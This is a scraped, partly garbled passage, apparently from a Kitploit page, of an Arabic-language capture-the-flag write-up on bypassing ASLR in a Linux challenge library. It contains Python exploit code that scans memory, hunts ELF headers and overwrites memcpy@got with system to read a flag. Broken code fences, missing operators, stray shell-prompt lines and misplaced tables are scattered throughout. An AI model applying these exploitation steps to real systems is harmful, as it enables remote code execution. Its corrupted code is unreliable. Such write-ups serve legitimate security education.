7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
دعونا نركز انتباهنا على العناوين التي تم إنشاؤها باستخدام رش الذاكرة. \(*.unkyle files \)

يمكننا محاولة تطبيق [خدعة عبور الحدود](#Boundary-cross-trick).

| mem | 4gb boundary cross?
| - |-
| 7fe2dc000000 | لا
| 7fe2e0000000 | لا
| 7fe2e4000000 | لا
| 7fe2e8000000 | لا
| 7fe2ec000000 | لا
| 7fe2f0000000 | لا
| 7fe2f4000000 | لا
| 7fe2f8000000 | لا
| 7fe2fc000000 | لا
| 7fe300000000 | نعم
| 7fe304000000 | نعم
| 7fe308000000 | نعم
من خلال استغلال التغيّر من 7fe2.. إلى 7fe3.. يمكننا مسح الذاكرة بخطوة مقدارها 0x100000000 = 4gb.

## 4.5 إلحاق الهزيمة بـ ASLR أخيرًا

بالنظر إلى حجم الخطوة هذا، يمكننا مسح النطاق من `start=0x7f0000000000` إلى `end=0x800000000000` باستخدام `end - start / size` = 256 استعلامًا فقط.```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

في هذه المرحلة، لدينا leakAddr وهو عنوان مُعيَّن بهذا الشكل: 0x7fXX00000000، وفي هذه الحالة، leakAddr = 0x7fe300000000.

الآن، إذا أردنا اتباع تقنية saelo، فيتعيّن علينا إجراء بحث ثنائي على النطاق 0x7fXX00000000 - 0x7fXXffffffff، وذلك لإيجاد الحدود الدنيا والعليا. المشكلة هي وجود بعض الفجوات في هذا النطاق، لذا يفشل البحث الثنائي في كثير من الأحيان.

يمكنك التحقق بنفسك باستخدام هذا السكربت:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
تلك الفجوة الصغيرة بين 0x00007f763c000000 و 0x00007f763ccaa000 تفسد البحث الثنائي، بالطبع لا يزال ممكنًا، لكنني وجدت طريقة أسهل.

### ملاحظة

نريد الحصول على آخر عنوان مُعيَّن، لأن المكتبات تُعيَّن هناك.

على سبيل المثال، بالنظر إلى هذه التعيينات للمكتبات:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

يمكننا البحث عن العنوان 7fe3d6a5b000 - 0x1000 بهذه الحيلة:

lastMappedPage = 0x7fe3d6a5a000

نقوم بتجربة نصف بايت في كل مرة، وفي أسوأ الحالات نحتاج إلى 16*5 = 80 استعلامًا.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return i*increment print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 الاستغلال

أخيرًا، نعرف كل ما نحتاجه عن تخطيطات الذاكرة، والآن الأمر مجرد استغلال بدائية write what where للوصول إلى تنفيذ الأكواد.

لتحقيق تنفيذ الأكواد، قمت بالكتابة فوق مدخل memcpy@got الخاص بـ libkyle.so باستخدام system@libc.

### الحصول على قاعدة libkyle
لحسن حظنا، العنوان الأساسي لـ libc والعنوان الأساسي لـ libkyle.so يقعان على إزاحة ثابتة من lastMappedPage، لم أكن أعلم أن هذا هو الحال، لذا كتبت egghunter يبحث عن `\x7fELF` \(ترويسة ملفات ELF التنفيذية\)، والذي لم يكن مفيدًا في النهاية.```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

استبدال memcpy@got الخاص بـ libkyle والحصول على RCE

لحسن الحظ، كان استبدال memcpy@got بـ system كافيًا للحصول على الـ flag والمطالبة بتلك المكافأة المجزية :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 العَلَم!

يمكنك العثور على الاستغلال [هنا](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py).

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

هناك أيضًا نسخة موثوقة 100% من الاستغلال [هنا](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py).

## 5. الخاتمة

أتمنى أن تكون قد استمتعت بالشرح، إذا لم يكن شيء واضحًا بما فيه الكفاية فلا تتردد في التواصل معي [@nick0ve](https://twitter.com/nick0ve) :)
تنزيل الأداة
memعبور حد 16tb؟
0x7fb03b55e010لا
0x7fa03b55d010لا
0x7f903b55c010لا
0x7f803b55b010لا
0x7f703b55a010لا
0x7f603b559010لا
0x7f503b558010لا
0x7f403b557010لا
0x7f303b556010لا
0x7f203b555010لا
0x7f103b554010لا
0x7f003b553010لا
0x7ef03b552010نعم
0x7ee03b551010نعم
0x7ed03b550010نعم
0x7ec03b54f010نعم

if (fstat(fd, &sb) != 0) { return NULL; }

/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

root@kitploit:~
العنوانهل العنوان معيّن؟
0x7fe3f0000000لا
0x7fe3e0000000لا
0x7fe3d0000000نعم
0x7fe3df000000لا
0x7fe3de000000لا
0x7fe3dd000000لا
0x7fe3dc000000لا
0x7fe3db000000لا
0x7fe3da000000لا
0x7fe3d9000000لا
0x7fe3d8000000لا
0x7fe3d7000000لا
0x7fe3d6000000نعم
0x7fe3d6f00000لا
0x7fe3d6e00000لا
0x7fe3d6d00000لا
0x7fe3d6c00000لا
0x7fe3d6b00000لا
0x7fe3d6a00000نعم
0x7fe3d6af0000لا
0x7fe3d6ae0000لا
0x7fe3d6ad0000لا
0x7fe3d6ac0000لا
0x7fe3d6ab0000لا
0x7fe3d6aa0000لا
0x7fe3d6a90000لا
0x7fe3d6a80000لا
0x7fe3d6a70000لا
0x7fe3d6a60000لا
0x7fe3d6a50000نعم
0x7fe3d6a5f000لا
0x7fe3d6a5e000لا
0x7fe3d6a5d000لا
0x7fe3d6a5c000لا
0x7fe3d6a5b000لا
0x7fe3d6a5a000نعم